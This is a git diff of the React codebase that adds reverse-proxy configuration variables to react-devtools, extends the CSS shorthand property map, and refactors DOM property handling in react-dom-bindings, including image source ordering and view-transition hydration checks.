diff --git a/packages/react-devtools/README.md b/packages/react-devtools/README.md
index 149ec97f8af5..faa71dcc596d 100644
--- a/packages/react-devtools/README.md
+++ b/packages/react-devtools/README.md
@@ -87,7 +87,31 @@ This will ensure the developer tools are connected. **Don’t forget to remove i
 
 ## Advanced
 
-By default DevTools listen to port `8097` on `localhost`. If you need to customize host, port, or other settings, see the `react-devtools-core` package instead.
+By default DevTools listen to port `8097` on `localhost`. If you need to customize the server or client connection settings, the following environment variables are available:
+
+| Env Var | Default | Description |
+|---|---|---|
+| `HOST` | `"localhost"` | Host the local server binds to. |
+| `PORT` | `8097` | Port the local server listens on. |
+| `REACT_DEVTOOLS_PORT` | | Alias for `PORT`. Takes precedence if both are set. |
+| `KEY` | | Path to an SSL key file. Enables HTTPS when set alongside `CERT`. |
+| `CERT` | | Path to an SSL certificate file. Enables HTTPS when set alongside `KEY`. |
+| `REACT_DEVTOOLS_PATH` | | Path appended to the WebSocket URI served to clients (e.g. `/__react_devtools__/`). |
+| `REACT_DEVTOOLS_CLIENT_HOST` | `HOST` | Overrides the host in the script served to connecting clients. |
+| `REACT_DEVTOOLS_CLIENT_PORT` | `PORT` | Overrides the port in the script served to connecting clients. |
+| `REACT_DEVTOOLS_CLIENT_USE_HTTPS` | | Set to `"true"` to make the served client script use `wss://`. |
+
+When connecting through a reverse proxy, use the `REACT_DEVTOOLS_CLIENT_*` variables to tell clients to connect to a different host/port/protocol than the local server:
+
+```sh
+REACT_DEVTOOLS_CLIENT_HOST=remote.example.com \
+REACT_DEVTOOLS_CLIENT_PORT=443 \
+REACT_DEVTOOLS_CLIENT_USE_HTTPS=true \
+REACT_DEVTOOLS_PATH=/__react_devtools__/ \
+react-devtools
+```
+
+For more details, see the [`react-devtools-core` documentation](https://github.com/facebook/react/tree/main/packages/react-devtools-core).
 
 ## FAQ
 
diff --git a/packages/react-devtools/app.html b/packages/react-devtools/app.html
index 7b55e0d37db9..1d11394c9427 100644
--- a/packages/react-devtools/app.html
+++ b/packages/react-devtools/app.html
@@ -158,12 +158,19 @@
     <script>
       // window.api is defined in preload.js
       const {electron, readEnv, ip, getDevTools} = window.api;
-      const {options, useHttps, host, protocol, port} = readEnv();
+      const {options, useHttps, host, protocol, port, path, clientHost, clientPort, clientUseHttps} = readEnv();
 
       const localIp = ip.address();
-      const defaultPort = (port === 443 && useHttps) || (port === 80 && !useHttps);
-      const server = defaultPort ? `${protocol}://${host}` : `${protocol}://${host}:${port}`;
-      const serverIp = defaultPort ? `${protocol}://${localIp}` : `${protocol}://${localIp}:${port}`;
+
+      // Effective values for display URLs: client overrides take precedence over server values.
+      const effectiveHost = clientHost != null ? clientHost : host;
+      const effectivePort = clientPort != null ? clientPort : port;
+      const effectiveUseHttps = clientUseHttps != null ? clientUseHttps : useHttps;
+      const effectiveProtocol = effectiveUseHttps ? 'https' : 'http';
+      const defaultPort = (effectivePort === 443 && effectiveUseHttps) || (effectivePort === 80 && !effectiveUseHttps);
+      const pathStr = path != null ? path : '';
+      const server = defaultPort ? `${effectiveProtocol}://${effectiveHost}${pathStr}` : `${effectiveProtocol}://${effectiveHost}:${effectivePort}${pathStr}`;
+      const serverIp = defaultPort ? `${effectiveProtocol}://${localIp}${pathStr}` : `${effectiveProtocol}://${localIp}:${effectivePort}${pathStr}`;
       const $ = document.querySelector.bind(document);
       
       let timeoutID;
@@ -234,7 +241,7 @@
             element.innerText = status;
           }
         })
-        .startServer(port, host, options);
+        .startServer(port, host, options, undefined, path, {host: clientHost, port: clientPort, useHttps: clientUseHttps});
     </script>
   </body>
 </html>
diff --git a/packages/react-devtools/app.js b/packages/react-devtools/app.js
index 3912a80ef09d..c427852b408b 100644
--- a/packages/react-devtools/app.js
+++ b/packages/react-devtools/app.js
@@ -46,7 +46,7 @@ app.on('ready', function () {
   });
 
   // and load the index.html of the app.
-  mainWindow.loadURL('file://' + __dirname + '/app.html'); // eslint-disable-line no-path-concat
+  mainWindow.loadURL('file://' + __dirname + '/app.html');
   // $FlowFixMe[incompatible-use] found when upgrading Flow
   mainWindow.webContents.executeJavaScript(
     // We use this so that RN can keep relative JSX __source filenames
diff --git a/packages/react-devtools/index.js b/packages/react-devtools/index.js
deleted file mode 100644
index 51b0106383a2..000000000000
--- a/packages/react-devtools/index.js
+++ /dev/null
@@ -1,14 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-const {connectToDevTools} = require('react-devtools-core/backend');
-
-// Connect immediately with default options.
-// If you need more control, use `react-devtools-core` directly instead of `react-devtools`.
-connectToDevTools();
diff --git a/packages/react-devtools/package.json b/packages/react-devtools/package.json
index 37ed26fe6488..10a492628338 100644
--- a/packages/react-devtools/package.json
+++ b/packages/react-devtools/package.json
@@ -1,6 +1,6 @@
 {
   "name": "react-devtools",
-  "version": "5.3.0",
+  "version": "7.0.1",
   "description": "Use react-devtools outside of the browser",
   "license": "MIT",
   "repository": {
@@ -15,7 +15,6 @@
     "bin.js",
     "app.html",
     "app.js",
-    "index.js",
     "icons",
     "preload.js"
   ],
@@ -27,7 +26,7 @@
     "electron": "^23.1.2",
     "internal-ip": "^6.2.0",
     "minimist": "^1.2.3",
-    "react-devtools-core": "5.3.0",
-    "update-notifier": "^2.1.0"
+    "react-devtools-core": "7.0.1",
+    "update-notifier": "^5.0.0"
   }
 }
diff --git a/packages/react-devtools/preload.js b/packages/react-devtools/preload.js
index 634cffc635a4..3286d4442097 100644
--- a/packages/react-devtools/preload.js
+++ b/packages/react-devtools/preload.js
@@ -35,7 +35,24 @@ contextBridge.exposeInMainWorld('api', {
     }
     const host = process.env.HOST || 'localhost';
     const protocol = useHttps ? 'https' : 'http';
-    const port = +process.env.PORT || 8097;
-    return {options, useHttps, host, protocol, port};
+    const port = +process.env.REACT_DEVTOOLS_PORT || +process.env.PORT || 8097;
+    const path = process.env.REACT_DEVTOOLS_PATH || undefined;
+    const clientHost = process.env.REACT_DEVTOOLS_CLIENT_HOST || undefined;
+    const clientPort = process.env.REACT_DEVTOOLS_CLIENT_PORT
+      ? +process.env.REACT_DEVTOOLS_CLIENT_PORT
+      : undefined;
+    const clientUseHttps =
+      process.env.REACT_DEVTOOLS_CLIENT_USE_HTTPS === 'true' ? true : undefined;
+    return {
+      options,
+      useHttps,
+      host,
+      protocol,
+      port,
+      path,
+      clientHost,
+      clientPort,
+      clientUseHttps,
+    };
   },
 });
diff --git a/packages/react-dom-bindings/package.json b/packages/react-dom-bindings/package.json
index 9aa4fbaa97ad..f7d91a6dd9e2 100644
--- a/packages/react-dom-bindings/package.json
+++ b/packages/react-dom-bindings/package.json
@@ -1,7 +1,7 @@
 {
   "name": "react-dom-bindings",
   "description": "React implementation details for react-dom.",
-  "version": "19.0.0",
+  "version": "19.3.0",
   "private": true,
   "main": "index.js",
   "repository": {
diff --git a/packages/react-dom-bindings/src/client/CSSPropertyOperations.js b/packages/react-dom-bindings/src/client/CSSPropertyOperations.js
index 55fd43ec479d..eab6bd7ba51c 100644
--- a/packages/react-dom-bindings/src/client/CSSPropertyOperations.js
+++ b/packages/react-dom-bindings/src/client/CSSPropertyOperations.js
@@ -11,6 +11,7 @@ import hyphenateStyleName from '../shared/hyphenateStyleName';
 import warnValidStyle from '../shared/warnValidStyle';
 import isUnitlessNumber from '../shared/isUnitlessNumber';
 import {checkCSSPropertyStringCoercion} from 'shared/CheckStringCoercion';
+import {trackHostMutation} from 'react-reconciler/src/ReactFiberMutationTracking';
 
 /**
  * Operations for dealing with CSS properties.
@@ -144,12 +145,14 @@ export function setValueForStyles(node, styles, prevStyles) {
         } else {
           style[styleName] = '';
         }
+        trackHostMutation();
       }
     }
     for (const styleName in styles) {
       const value = styles[styleName];
       if (styles.hasOwnProperty(styleName) && prevStyles[styleName] !== value) {
         setValueForStyle(style, styleName, value);
+        trackHostMutation();
       }
     }
   } else {
diff --git a/packages/react-dom-bindings/src/client/CSSShorthandProperty.js b/packages/react-dom-bindings/src/client/CSSShorthandProperty.js
index 1781254b758c..19ec1d5ceff2 100644
--- a/packages/react-dom-bindings/src/client/CSSShorthandProperty.js
+++ b/packages/react-dom-bindings/src/client/CSSShorthandProperty.js
@@ -5,8 +5,8 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-// List derived from Gecko source code:
-// https://github.com/mozilla/gecko-dev/blob/4e638efc71/layout/style/test/property_database.js
+// List derived from Firefox source code:
+// https://github.com/mozilla-firefox/firefox/blob/58f365ba0eb5761a182f1925e4654cc75212b8ac/layout/style/test/property_database.js
 export const shorthandToLonghand = {
   animation: [
     'animationDelay',
@@ -49,6 +49,15 @@ export const shorthandToLonghand = {
     'borderTopStyle',
     'borderTopWidth',
   ],
+  borderBlock: [
+    'borderBlockEndColor',
+    'borderBlockEndStyle',
+    'borderBlockEndWidth',
+    'borderBlockStartColor',
+    'borderBlockStartStyle',
+    'borderBlockStartWidth',
+  ],
+  borderBlockColor: ['borderBlockEndColor', 'borderBlockStartColor'],
   borderBlockEnd: [
     'borderBlockEndColor',
     'borderBlockEndStyle',
@@ -59,6 +68,8 @@ export const shorthandToLonghand = {
     'borderBlockStartStyle',
     'borderBlockStartWidth',
   ],
+  borderBlockStyle: ['borderBlockEndStyle', 'borderBlockStartStyle'],
+  borderBlockWidth: ['borderBlockEndWidth', 'borderBlockStartWidth'],
   borderBottom: ['borderBottomColor', 'borderBottomStyle', 'borderBottomWidth'],
   borderColor: [
     'borderBottomColor',
@@ -73,6 +84,15 @@ export const shorthandToLonghand = {
     'borderImageSource',
     'borderImageWidth',
   ],
+  borderInline: [
+    'borderInlineEndColor',
+    'borderInlineEndStyle',
+    'borderInlineEndWidth',
+    'borderInlineStartColor',
+    'borderInlineStartStyle',
+    'borderInlineStartWidth',
+  ],
+  borderInlineColor: ['borderInlineEndColor', 'borderInlineStartColor'],
   borderInlineEnd: [
     'borderInlineEndColor',
     'borderInlineEndStyle',
@@ -83,6 +103,8 @@ export const shorthandToLonghand = {
     'borderInlineStartStyle',
     'borderInlineStartWidth',
   ],
+  borderInlineStyle: ['borderInlineEndStyle', 'borderInlineStartStyle'],
+  borderInlineWidth: ['borderInlineEndWidth', 'borderInlineStartWidth'],
   borderLeft: ['borderLeftColor', 'borderLeftStyle', 'borderLeftWidth'],
   borderRadius: [
     'borderBottomLeftRadius',
@@ -104,8 +126,11 @@ export const shorthandToLonghand = {
     'borderRightWidth',
     'borderTopWidth',
   ],
+  colorAdjust: ['printColorAdjust'],
   columnRule: ['columnRuleColor', 'columnRuleStyle', 'columnRuleWidth'],
   columns: ['columnCount', 'columnWidth'],
+  containIntrinsicSize: ['containIntrinsicHeight', 'containIntrinsicWidth'],
+  container: ['containerName', 'containerType'],
   flex: ['flexBasis', 'flexGrow', 'flexShrink'],
   flexFlow: ['flexDirection', 'flexWrap'],
   font: [
@@ -127,6 +152,12 @@ export const shorthandToLonghand = {
     'fontWeight',
     'lineHeight',
   ],
+  fontSynthesis: [
+    'fontSynthesisPosition',
+    'fontSynthesisSmallCaps',
+    'fontSynthesisStyle',
+    'fontSynthesisWeight',
+  ],
   fontVariant: [
     'fontVariantAlternates',
     'fontVariantCaps',
@@ -155,8 +186,13 @@ export const shorthandToLonghand = {
     'gridTemplateColumns',
     'gridTemplateRows',
   ],
+  inset: ['bottom', 'left', 'right', 'top'],
+  insetBlock: ['insetBlockEnd', 'insetBlockStart'],
+  insetInline: ['insetInlineEnd', 'insetInlineStart'],
   listStyle: ['listStyleImage', 'listStylePosition', 'listStyleType'],
   margin: ['marginBottom', 'marginLeft', 'marginRight', 'marginTop'],
+  marginBlock: ['marginBlockEnd', 'marginBlockStart'],
+  marginInline: ['marginInlineEnd', 'marginInlineStart'],
   marker: ['markerEnd', 'markerMid', 'markerStart'],
   mask: [
     'maskClip',
@@ -170,23 +206,57 @@ export const shorthandToLonghand = {
     'maskSize',
   ],
   maskPosition: ['maskPositionX', 'maskPositionY'],
+  offset: [
+    'offsetAnchor',
+    'offsetDistance',
+    'offsetPath',
+    'offsetPosition',
+    'offsetRotate',
+  ],
   outline: ['outlineColor', 'outlineStyle', 'outlineWidth'],
   overflow: ['overflowX', 'overflowY'],
+  overscrollBehavior: ['overscrollBehaviorX', 'overscrollBehaviorY'],
   padding: ['paddingBottom', 'paddingLeft', 'paddingRight', 'paddingTop'],
+  paddingBlock: ['paddingBlockEnd', 'paddingBlockStart'],
+  paddingInline: ['paddingInlineEnd', 'paddingInlineStart'],
+  pageBreakAfter: ['breakAfter'],
+  pageBreakBefore: ['breakBefore'],
+  pageBreakInside: ['breakInside'],
   placeContent: ['alignContent', 'justifyContent'],
   placeItems: ['alignItems', 'justifyItems'],
   placeSelf: ['alignSelf', 'justifySelf'],
+  scrollMargin: [
+    'scrollMarginBottom',
+    'scrollMarginLeft',
+    'scrollMarginRight',
+    'scrollMarginTop',
+  ],
+  scrollMarginBlock: ['scrollMarginBlockEnd', 'scrollMarginBlockStart'],
+  scrollMarginInline: ['scrollMarginInlineEnd', 'scrollMarginInlineStart'],
+  scrollPadding: [
+    'scrollPaddingBottom',
+    'scrollPaddingLeft',
+    'scrollPaddingRight',
+    'scrollPaddingTop',
+  ],
+  scrollPaddingBlock: ['scrollPaddingBlockEnd', 'scrollPaddingBlockStart'],
+  scrollPaddingInline: ['scrollPaddingInlineEnd', 'scrollPaddingInlineStart'],
   textDecoration: [
     'textDecorationColor',
     'textDecorationLine',
     'textDecorationStyle',
+    'textDecorationThickness',
   ],
   textEmphasis: ['textEmphasisColor', 'textEmphasisStyle'],
+  textWrap: ['textWrapMode', 'textWrapStyle'],
   transition: [
+    'transitionBehavior',
     'transitionDelay',
     'transitionDuration',
     'transitionProperty',
     'transitionTimingFunction',
   ],
+  verticalAlign: ['alignmentBaseline', 'baselineShift', 'baselineSource'],
+  whiteSpace: ['textWrapMode', 'whiteSpaceCollapse'],
   wordWrap: ['overflowWrap'],
 };
diff --git a/packages/react-dom-bindings/src/client/DOMAccessibilityRoles.js b/packages/react-dom-bindings/src/client/DOMAccessibilityRoles.js
index 0a6bbb4c5d5a..4c1091f2455c 100644
--- a/packages/react-dom-bindings/src/client/DOMAccessibilityRoles.js
+++ b/packages/react-dom-bindings/src/client/DOMAccessibilityRoles.js
@@ -60,6 +60,7 @@ const tagToRoleMappings = {
 };
 
 function getImplicitRole(element: Element): string | null {
+  // $FlowFixMe[invalid-computed-prop]
   const mappedByTag = tagToRoleMappings[element.tagName];
   if (mappedByTag !== undefined) {
     return mappedByTag;
diff --git a/packages/react-dom-bindings/src/client/DOMPropertyOperations.js b/packages/react-dom-bindings/src/client/DOMPropertyOperations.js
index 867eeba4a086..df09445acc55 100644
--- a/packages/react-dom-bindings/src/client/DOMPropertyOperations.js
+++ b/packages/react-dom-bindings/src/client/DOMPropertyOperations.js
@@ -11,6 +11,7 @@ import isAttributeNameSafe from '../shared/isAttributeNameSafe';
 import {enableTrustedTypesIntegration} from 'shared/ReactFeatureFlags';
 import {checkAttributeStringCoercion} from 'shared/CheckStringCoercion';
 import {getFiberCurrentPropsFromNode} from './ReactDOMComponentTree';
+import {trackHostMutation} from 'react-reconciler/src/ReactFiberMutationTracking';
 
 /**
  * Get the value for a attribute on a node. Only used in DEV for SSR validation.
@@ -30,7 +31,7 @@ export function getValueForAttribute(
       // shouldRemoveAttribute
       switch (typeof expected) {
         case 'function':
-        case 'symbol': // eslint-disable-line
+        case 'symbol':
           return expected;
         case 'boolean': {
           const prefix = name.toLowerCase().slice(0, 5);
@@ -109,7 +110,7 @@ export function setValueForAttribute(
     switch (typeof value) {
       case 'undefined':
       case 'function':
-      case 'symbol': // eslint-disable-line
+      case 'symbol':
         node.removeAttribute(name);
         return;
       case 'boolean': {
@@ -196,6 +197,7 @@ export function setValueForPropertyOnCustomComponent(
     const eventName = name.slice(2, useCapture ? name.length - 7 : undefined);
 
     const prevProps = getFiberCurrentPropsFromNode(node);
+    // $FlowFixMe[invalid-computed-prop]
     const prevValue = prevProps != null ? prevProps[name] : null;
     if (typeof prevValue === 'function') {
       node.removeEventListener(eventName, prevValue, useCapture);
@@ -216,6 +218,8 @@ export function setValueForPropertyOnCustomComponent(
     }
   }
 
+  trackHostMutation();
+
   if (name in (node: any)) {
     (node: any)[name] = value;
     return;
diff --git a/packages/react-dom-bindings/src/client/ReactDOMComponent.js b/packages/react-dom-bindings/src/client/ReactDOMComponent.js
index 160546d9b780..1b25e3727023 100644
--- a/packages/react-dom-bindings/src/client/ReactDOMComponent.js
+++ b/packages/react-dom-bindings/src/client/ReactDOMComponent.js
@@ -16,7 +16,6 @@ import {
   possibleRegistrationNames,
 } from '../events/EventRegistry';
 
-import {canUseDOM} from 'shared/ExecutionEnvironment';
 import {checkHtmlStringCoercion} from 'shared/CheckStringCoercion';
 import {checkAttributeStringCoercion} from 'shared/CheckStringCoercion';
 import {checkControlledValueProps} from '../shared/ReactControlledValuePropTypes';
@@ -48,9 +47,8 @@ import {
   updateTextarea,
   restoreControlledTextareaState,
 } from './ReactDOMTextarea';
+import {setSrcObject} from './ReactDOMSrcObject';
 import {validateTextNesting} from './validateDOMNesting';
-import {track} from './inputValueTracking';
-import setInnerHTML from './setInnerHTML';
 import setTextContent from './setTextContent';
 import {
   createDangerousStringForStyles,
@@ -65,10 +63,16 @@ import {validateProperties as validateInputProperties} from '../shared/ReactDOMN
 import {validateProperties as validateUnknownProperties} from '../shared/ReactDOMUnknownPropertyHook';
 import sanitizeURL from '../shared/sanitizeURL';
 
+import noop from 'shared/noop';
+
+import {trackHostMutation} from 'react-reconciler/src/ReactFiberMutationTracking';
+
 import {
-  disableIEWorkarounds,
+  enableHydrationChangeEvent,
+  enableScrollEndPolyfill,
+  enableSrcObject,
   enableTrustedTypesIntegration,
-  enableFilterEmptyStringAttributesDOM,
+  enableViewTransition,
 } from 'shared/ReactFeatureFlags';
 import {
   mediaEventTypes,
@@ -83,19 +87,8 @@ let didWarnFormActionTarget = false;
 let didWarnFormActionMethod = false;
 let didWarnForNewBooleanPropsWithEmptyValue: {[string]: boolean};
 let didWarnPopoverTargetObject = false;
-let canDiffStyleForHydrationWarning;
 if (__DEV__) {
   didWarnForNewBooleanPropsWithEmptyValue = {};
-  // IE 11 parses & normalizes the style attribute as opposed to other
-  // browsers. It adds spaces and sorts the properties in some
-  // non-alphabetical order. Handling that would require sorting CSS
-  // properties in the client & server versions or applying
-  // `expectedStyle` to a temporary DOM node to read its `style` attribute
-  // normalized. Since it only affects IE, we're skipping style warnings
-  // in that browser completely in favor of doing all that work.
-  // See https://github.com/facebook/react/issues/11807
-  canDiffStyleForHydrationWarning =
-    disableIEWorkarounds || (canUseDOM && !document.documentMode);
 }
 
 function validatePropertiesInDevelopment(type: string, props: any) {
@@ -242,6 +235,31 @@ function warnForPropDifference(
   }
 }
 
+function hasViewTransition(htmlElement: HTMLElement): boolean {
+  return !!(
+    htmlElement.getAttribute('vt-share') ||
+    htmlElement.getAttribute('vt-exit') ||
+    htmlElement.getAttribute('vt-enter') ||
+    htmlElement.getAttribute('vt-update')
+  );
+}
+
+function isExpectedViewTransitionName(htmlElement: HTMLElement): boolean {
+  if (!hasViewTransition(htmlElement)) {
+    // We didn't expect to see a view transition name applied.
+    return false;
+  }
+  const expectedVtName = htmlElement.getAttribute('vt-name');
+  const actualVtName: string = (htmlElement.style: any)['view-transition-name'];
+  if (expectedVtName) {
+    return expectedVtName === actualVtName;
+  } else {
+    // Auto-generated name.
+    // TODO: If Fizz starts applying a prefix to this name, we need to consider that.
+    return actualVtName.startsWith('_T_');
+  }
+}
+
 function warnForExtraAttributes(
   domElement: Element,
   attributeNames: Set<string>,
@@ -249,10 +267,28 @@ function warnForExtraAttributes(
 ) {
   if (__DEV__) {
     attributeNames.forEach(function (attributeName) {
-      serverDifferences[getPropNameFromAttributeName(attributeName)] =
-        attributeName === 'style'
-          ? getStylesObjectFromElement(domElement)
-          : domElement.getAttribute(attributeName);
+      if (attributeName === 'style') {
+        if (domElement.getAttribute(attributeName) === '') {
+          // Skip empty style. It's fine.
+          return;
+        }
+        const htmlElement = ((domElement: any): HTMLElement);
+        const style = htmlElement.style;
+        const isOnlyVTStyles =
+          (style.length === 1 && style[0] === 'view-transition-name') ||
+          (style.length === 2 &&
+            style[0] === 'view-transition-class' &&
+            style[1] === 'view-transition-name');
+        if (isOnlyVTStyles && isExpectedViewTransitionName(htmlElement)) {
+          // If the only extra style was the view-transition-name that we applied from the Fizz
+          // runtime, then we should ignore it.
+        } else {
+          serverDifferences.style = getStylesObjectFromElement(domElement);
+        }
+      } else {
+        serverDifferences[getPropNameFromAttributeName(attributeName)] =
+          domElement.getAttribute(attributeName);
+      }
     });
   }
 }
@@ -329,8 +365,6 @@ function checkForUnmatchedText(
   return false;
 }
 
-function noop() {}
-
 export function trapClickOnNonInteractiveElement(node: HTMLElement) {
   // Mobile Safari does not fire properly bubble click events on
   // non-interactive elements, which means delegated click listeners do not
@@ -359,7 +393,7 @@ function setProp(
     case 'children': {
       if (typeof value === 'string') {
         if (__DEV__) {
-          validateTextNesting(value, tag);
+          validateTextNesting(value, tag, false);
         }
         // Avoid setting initial textContent when the text is empty. In IE11 setting
         // textContent on a <textarea> will cause the placeholder to not
@@ -373,13 +407,15 @@ function setProp(
       } else if (typeof value === 'number' || typeof value === 'bigint') {
         if (__DEV__) {
           // $FlowFixMe[unsafe-addition] Flow doesn't want us to use `+` operator with string and bigint
-          validateTextNesting('' + value, tag);
+          validateTextNesting('' + value, tag, false);
         }
         const canSetTextContent = tag !== 'body';
         if (canSetTextContent) {
           // $FlowFixMe[unsafe-addition] Flow doesn't want us to use `+` operator with string and bigint
           setTextContent(domElement, '' + value);
         }
+      } else {
+        return;
       }
       break;
     }
@@ -403,7 +439,7 @@ function setProp(
     }
     case 'style': {
       setValueForStyles(domElement, value, prevValue);
-      break;
+      return;
     }
     // These attributes accept URLs. These must not allow javascript: URLS.
     case 'data':
@@ -412,38 +448,69 @@ function setProp(
         break;
       }
     // fallthrough
-    case 'src':
-    case 'href': {
-      if (enableFilterEmptyStringAttributesDOM) {
-        if (
-          value === '' &&
-          // <a href=""> is fine for "reload" links.
-          !(tag === 'a' && key === 'href')
-        ) {
+    case 'src': {
+      if (enableSrcObject && typeof value === 'object' && value !== null) {
+        // Some tags support object sources like Blob, File, MediaSource and MediaStream.
+        if (tag === 'img' || tag === 'video' || tag === 'audio') {
+          try {
+            setSrcObject(domElement, tag, value);
+            break;
+          } catch (x) {
+            // If URL.createObjectURL() errors, it was probably some other object type
+            // that should be toString:ed instead, so we just fall-through to the normal
+            // path.
+          }
+        } else {
           if (__DEV__) {
-            if (key === 'src') {
-              console.error(
-                'An empty string ("") was passed to the %s attribute. ' +
-                  'This may cause the browser to download the whole page again over the network. ' +
-                  'To fix this, either do not render the element at all ' +
-                  'or pass null to %s instead of an empty string.',
-                key,
-                key,
-              );
-            } else {
-              console.error(
-                'An empty string ("") was passed to the %s attribute. ' +
-                  'To fix this, either do not render the element at all ' +
-                  'or pass null to %s instead of an empty string.',
-                key,
-                key,
-              );
-            }
+            try {
+              // This should always error.
+              URL.revokeObjectURL(URL.createObjectURL((value: any)));
+              if (tag === 'source') {
+                console.error(
+                  'Passing Blob, MediaSource or MediaStream to <source src> is not supported. ' +
+                    'Pass it directly to <img src>, <video src> or <audio src> instead.',
+                );
+              } else {
+                console.error(
+                  'Passing Blob, MediaSource or MediaStream to <%s src> is not supported.',
+                  tag,
+                );
+              }
+            } catch (x) {}
           }
-          domElement.removeAttribute(key);
-          break;
         }
       }
+      // Fallthrough
+    }
+    case 'href': {
+      if (
+        value === '' &&
+        // <a href=""> is fine for "reload" links.
+        !(tag === 'a' && key === 'href')
+      ) {
+        if (__DEV__) {
+          if (key === 'src') {
+            console.error(
+              'An empty string ("") was passed to the %s attribute. ' +
+                'This may cause the browser to download the whole page again over the network. ' +
+                'To fix this, either do not render the element at all ' +
+                'or pass null to %s instead of an empty string.',
+              key,
+              key,
+            );
+          } else {
+            console.error(
+              'An empty string ("") was passed to the %s attribute. ' +
+                'To fix this, either do not render the element at all ' +
+                'or pass null to %s instead of an empty string.',
+              key,
+              key,
+            );
+          }
+        }
+        domElement.removeAttribute(key);
+        break;
+      }
       if (
         value == null ||
         typeof value === 'function' ||
@@ -543,7 +610,7 @@ function setProp(
         }
         trapClickOnNonInteractiveElement(((domElement: any): HTMLElement));
       }
-      break;
+      return;
     }
     case 'onScroll': {
       if (value != null) {
@@ -552,7 +619,7 @@ function setProp(
         }
         listenToNonDelegatedEvent('scroll', domElement);
       }
-      break;
+      return;
     }
     case 'onScrollEnd': {
       if (value != null) {
@@ -560,8 +627,12 @@ function setProp(
           warnForInvalidEventListener(key, value);
         }
         listenToNonDelegatedEvent('scrollend', domElement);
+        if (enableScrollEndPolyfill) {
+          // For use by the polyfill.
+          listenToNonDelegatedEvent('scroll', domElement);
+        }
       }
-      break;
+      return;
     }
     case 'dangerouslySetInnerHTML': {
       if (value != null) {
@@ -579,11 +650,7 @@ function setProp(
               'Can only set one of `children` or `props.dangerouslySetInnerHTML`.',
             );
           }
-          if (disableIEWorkarounds) {
-            domElement.innerHTML = nextHtml;
-          } else {
-            setInnerHTML(domElement, nextHtml);
-          }
+          domElement.innerHTML = nextHtml;
         }
       }
       break;
@@ -872,7 +939,7 @@ function setProp(
     }
     case 'innerText':
     case 'textContent':
-      break;
+      return;
     case 'popoverTarget':
       if (__DEV__) {
         if (
@@ -902,12 +969,16 @@ function setProp(
         ) {
           warnForInvalidEventListener(key, value);
         }
+        // Updating events doesn't affect the visuals.
+        return;
       } else {
         const attributeName = getAttributeAlias(key);
         setValueForAttribute(domElement, attributeName, value);
       }
     }
   }
+  // To avoid marking things as host mutations we do early returns above.
+  trackHostMutation();
 }
 
 function setPropOnCustomElement(
@@ -921,7 +992,7 @@ function setPropOnCustomElement(
   switch (key) {
     case 'style': {
       setValueForStyles(domElement, value, prevValue);
-      break;
+      return;
     }
     case 'dangerouslySetInnerHTML': {
       if (value != null) {
@@ -939,11 +1010,7 @@ function setPropOnCustomElement(
               'Can only set one of `children` or `props.dangerouslySetInnerHTML`.',
             );
           }
-          if (disableIEWorkarounds) {
-            domElement.innerHTML = nextHtml;
-          } else {
-            setInnerHTML(domElement, nextHtml);
-          }
+          domElement.innerHTML = nextHtml;
         }
       }
       break;
@@ -954,6 +1021,8 @@ function setPropOnCustomElement(
       } else if (typeof value === 'number' || typeof value === 'bigint') {
         // $FlowFixMe[unsafe-addition] Flow doesn't want us to use `+` operator with string and bigint
         setTextContent(domElement, '' + value);
+      } else {
+        return;
       }
       break;
     }
@@ -964,7 +1033,7 @@ function setPropOnCustomElement(
         }
         listenToNonDelegatedEvent('scroll', domElement);
       }
-      break;
+      return;
     }
     case 'onScrollEnd': {
       if (value != null) {
@@ -972,8 +1041,12 @@ function setPropOnCustomElement(
           warnForInvalidEventListener(key, value);
         }
         listenToNonDelegatedEvent('scrollend', domElement);
+        if (enableScrollEndPolyfill) {
+          // For use by the polyfill.
+          listenToNonDelegatedEvent('scroll', domElement);
+        }
       }
-      break;
+      return;
     }
     case 'onClick': {
       // TODO: This cast may not be sound for SVG, MathML or custom elements.
@@ -983,29 +1056,34 @@ function setPropOnCustomElement(
         }
         trapClickOnNonInteractiveElement(((domElement: any): HTMLElement));
       }
-      break;
+      return;
     }
     case 'suppressContentEditableWarning':
     case 'suppressHydrationWarning':
     case 'innerHTML':
     case 'ref': {
       // Noop
-      break;
+      return;
     }
     case 'innerText': // Properties
     case 'textContent':
-      break;
+      return;
     // Fall through
     default: {
       if (registrationNameDependencies.hasOwnProperty(key)) {
         if (__DEV__ && value != null && typeof value !== 'function') {
           warnForInvalidEventListener(key, value);
         }
+        return;
       } else {
         setValueForPropertyOnCustomComponent(domElement, key, value);
+        // We track mutations inside this call.
+        return;
       }
     }
   }
+  // To avoid marking things as host mutations we do early returns above.
+  trackHostMutation();
 }
 
 export function setInitialProperties(
@@ -1031,6 +1109,53 @@ export function setInitialProperties(
       // Fast track the most common tag types
       break;
     }
+    // img tags previously were implemented as void elements with non delegated events however Safari (and possibly Firefox)
+    // begin fetching the image as soon as the `src` or `srcSet` property is set and if we set these before other properties
+    // that can modify the request (such as crossorigin) or the resource fetch (such as sizes) then the browser will load
+    // the wrong thing or load more than one thing. This implementation ensures src and srcSet are set on the instance last
+    case 'img': {
+      listenToNonDelegatedEvent('error', domElement);
+      listenToNonDelegatedEvent('load', domElement);
+      // Mostly a port of Void Element logic with special casing to ensure srcset and src are set last
+      let hasSrc = false;
+      let hasSrcSet = false;
+      for (const propKey in props) {
+        if (!props.hasOwnProperty(propKey)) {
+          continue;
+        }
+        const propValue = props[propKey];
+        if (propValue == null) {
+          continue;
+        }
+        switch (propKey) {
+          case 'src':
+            hasSrc = true;
+            break;
+          case 'srcSet':
+            hasSrcSet = true;
+            break;
+          case 'children':
+          case 'dangerouslySetInnerHTML': {
+            // TODO: Can we make this a DEV warning to avoid this deny list?
+            throw new Error(
+              `${tag} is a void element tag and must neither have \`children\` nor ` +
+                'use `dangerouslySetInnerHTML`.',
+            );
+          }
+          // defaultChecked and defaultValue are ignored by setProp
+          default: {
+            setProp(domElement, tag, propKey, propValue, props, null);
+          }
+        }
+      }
+      if (hasSrcSet) {
+        setProp(domElement, tag, 'srcSet', props.srcSet, props, null);
+      }
+      if (hasSrc) {
+        setProp(domElement, tag, 'src', props.src, props, null);
+      }
+      return;
+    }
     case 'input': {
       if (__DEV__) {
         checkControlledValueProps('input', props);
@@ -1106,7 +1231,6 @@ export function setInitialProperties(
         name,
         false,
       );
-      track((domElement: any));
       return;
     }
     case 'select': {
